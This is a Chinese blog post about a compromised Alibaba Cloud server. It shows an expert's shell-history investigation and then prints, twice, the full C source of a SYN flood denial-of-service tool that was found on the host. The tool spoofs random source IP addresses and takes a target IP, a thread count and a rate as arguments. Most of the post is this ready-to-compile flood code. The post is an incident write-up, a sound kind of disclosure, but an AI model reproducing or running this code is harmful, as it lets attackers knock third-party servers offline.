我的阿里云主机受到了攻击,并且安装了后门
可以看看我前几天的博客:
解决阿里云主机收到攻击的问题:http://hw1287789687.iteye.com/blog/2269666
解决阿里云主机受到攻击的问题 2:http://hw1287789687.iteye.com/blog/2269701
但是还是没有完全搞定.
在绝望之际,想到了他,linux高手,酷爱linux,于是请他帮忙
分分钟就找到了病灶,并且麻利地捣毁了病灶.
[root@tti3rxdZ ~]# w 19:07:22 up 58 min, 2 users, load average: 0.00, 0.02, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/0 130.206.40.26 18:49 10.00s 0.07s 0.07s -bash root pts/1 64.205.63.4 19:07 0.00s 0.00s 0.00s w
下面是他的历史操作:
top free -m pstree top -h top java who login w ss ss -tnlp hostname ss -nlp ls / cd / cat s.c ls ls home/huang/ vim sync.c cd / ls vim syn.c ls ls -l pstree ss vim s.c rm s.c syn.c ls rm CxxxController2.class ls find . -name "*.class" top ps aux | grep java ps aux | grep java | wc -l ps aux ls cd tmp/ ls file moni.lod cat moni.lod cat gates.lod cd .. ls pstree pstree.x11 which gshelld uname -a yum -h yum info -h rpm -h rpm --help which gshelld rpm -qf /usr/sbin/gshelld objdump -d /usr/sbin/gshelld readelf -d /usr/sbin/gshelld rpm -qf /usr/sbin/gshelld file /usr/sbin/gshelld stat /usr/sbin/gshelld pstree which getty which AliHids which ntpd rpm -qf /usr/sbin/ntpd which mingetty rpm -qf /sbin/mingetty cd /usr/sbin/ ls -l gshelld ls -l
终于找到了flood文件(肉鸡的病根),见附件
s.c:
// Improved SSYN Script - random ports, random flags. by SPAI3N.
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <time.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
void init_rand(unsigned long int x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
unsigned long long int t, a = 18782LL;
static unsigned long int i = 4095;
unsigned long int x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
register unsigned long sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (unsigned short)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void setup_ip_header(struct iphdr *iph)
{
char ip[17];
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
iph->id = htonl(rand()%54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = 6;
iph->check = 0;
iph->saddr = inet_addr(ip);
}
void setup_tcp_header(struct tcphdr *tcph)
{
tcph->source = htons(rand()%65535);
tcph->seq = rand();
tcph->ack_seq = 0;
tcph->res1 = 0;
tcph->res2 = 0;
tcph->doff = 5;
tcph->psh = 0;
tcph->syn = 1;
tcph->window = htons(65535);
tcph->check = 0;
tcph->urg_ptr = 0;
}
void *flood(void *par1)
{
char *td = (char *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(rand()%54321);
sin.sin_addr.s_addr = inet_addr(td);
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_tcp_header(tcph);
tcph->dest = htons(rand()%54321);
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
int psh = 0;
int res1 = 0;
int res2 = 0;
while(1)
{
if(psh > 1) psh = 1;
if(res1 > 4) res1 = 0;
if(res2 > 3) res2 = 0;
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
setup_ip_header(iph);
setup_tcp_header(tcph);
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
tcph->dest = htons(rand()%65535);
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
tcph->seq = rand_cmwc() & 0xFFFF;
tcph->source = htons(rand_cmwc() & 0xFFFF);
tcph->ack_seq = 1;
tcph->psh = psh;
tcph->res1 = res1;
tcph->res2 = res2;
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
pps++;
psh++;
res1++;
res2++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 5){
fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
exit(-1);
}
srand(time(0));
int num_threads = atoi(argv[2]);
int maxpps = atoi(argv[3]);
limiter = 0;
pps = 0;
pthread_t thread[num_threads];
int multiplier = 20;
int i;
fprintf(stderr, "Start flooding ...\n", argv[1]);
for(i = 0;i<num_threads;i++){
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
}
fprintf(stderr, "Flooding: %s\n", argv[1]);
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}
syn.c:
// Improved SSYN Script - random ports, random flags. by SPAI3N.
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <time.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
void init_rand(unsigned long int x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
unsigned long long int t, a = 18782LL;
static unsigned long int i = 4095;
unsigned long int x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
register unsigned long sum = 0;
while( count > 1 ) { sum += *buf++; count -= 2; }
if(count > 0) { sum += *(unsigned char *)buf; }
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
return (unsigned short)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
struct tcp_pseudo
{
unsigned long src_addr;
unsigned long dst_addr;
unsigned char zero;
unsigned char proto;
unsigned short length;
} pseudohead;
unsigned short total_len = iph->tot_len;
pseudohead.src_addr=iph->saddr;
pseudohead.dst_addr=iph->daddr;
pseudohead.zero=0;
pseudohead.proto=IPPROTO_TCP;
pseudohead.length=htons(sizeof(struct tcphdr));
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
unsigned short *tcp = malloc(totaltcp_len);
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
unsigned short output = csum(tcp,totaltcp_len);
free(tcp);
return output;
}
void setup_ip_header(struct iphdr *iph)
{
char ip[17];
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
iph->id = htonl(rand()%54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = 6;
iph->check = 0;
iph->saddr = inet_addr(ip);
}
void setup_tcp_header(struct tcphdr *tcph)
{
tcph->source = htons(rand()%65535);
tcph->seq = rand();
tcph->ack_seq = 0;
tcph->res1 = 0;
tcph->res2 = 0;
tcph->doff = 5;
tcph->psh = 0;
tcph->syn = 1;
tcph->window = htons(65535);
tcph->check = 0;
tcph->urg_ptr = 0;
}
void *flood(void *par1)
{
char *td = (char *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(rand()%54321);
sin.sin_addr.s_addr = inet_addr(td);
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_tcp_header(tcph);
tcph->dest = htons(rand()%54321);
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
int psh = 0;
int res1 = 0;
int res2 = 0;
while(1)
{
if(psh > 1) psh = 1;
if(res1 > 4) res1 = 0;
if(res2 > 3) res2 = 0;
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
setup_ip_header(iph);
setup_tcp_header(tcph);
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
tcph->dest = htons(rand()%65535);
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
tcph->seq = rand_cmwc() & 0xFFFF;
tcph->source = htons(rand_cmwc() & 0xFFFF);
tcph->ack_seq = 1;
tcph->psh = psh;
tcph->res1 = res1;
tcph->res2 = res2;
tcph->check = 0;
tcph->check = tcpcsum(iph, tcph);
pps++;
psh++;
res1++;
res2++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 5){
fprintf(stdout, "ISSYN v1.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
exit(-1);
}
srand(time(0));
int num_threads = atoi(argv[2]);
int maxpps = atoi(argv[3]);
limiter = 0;
pps = 0;
pthread_t thread[num_threads];
int multiplier = 20;
int i;
fprintf(stderr, "Start flooding ...\n", argv[1]);
for(i = 0;i<num_threads;i++){
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
}
fprintf(stderr, "Flooding: %s\n", argv[1]);
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
}
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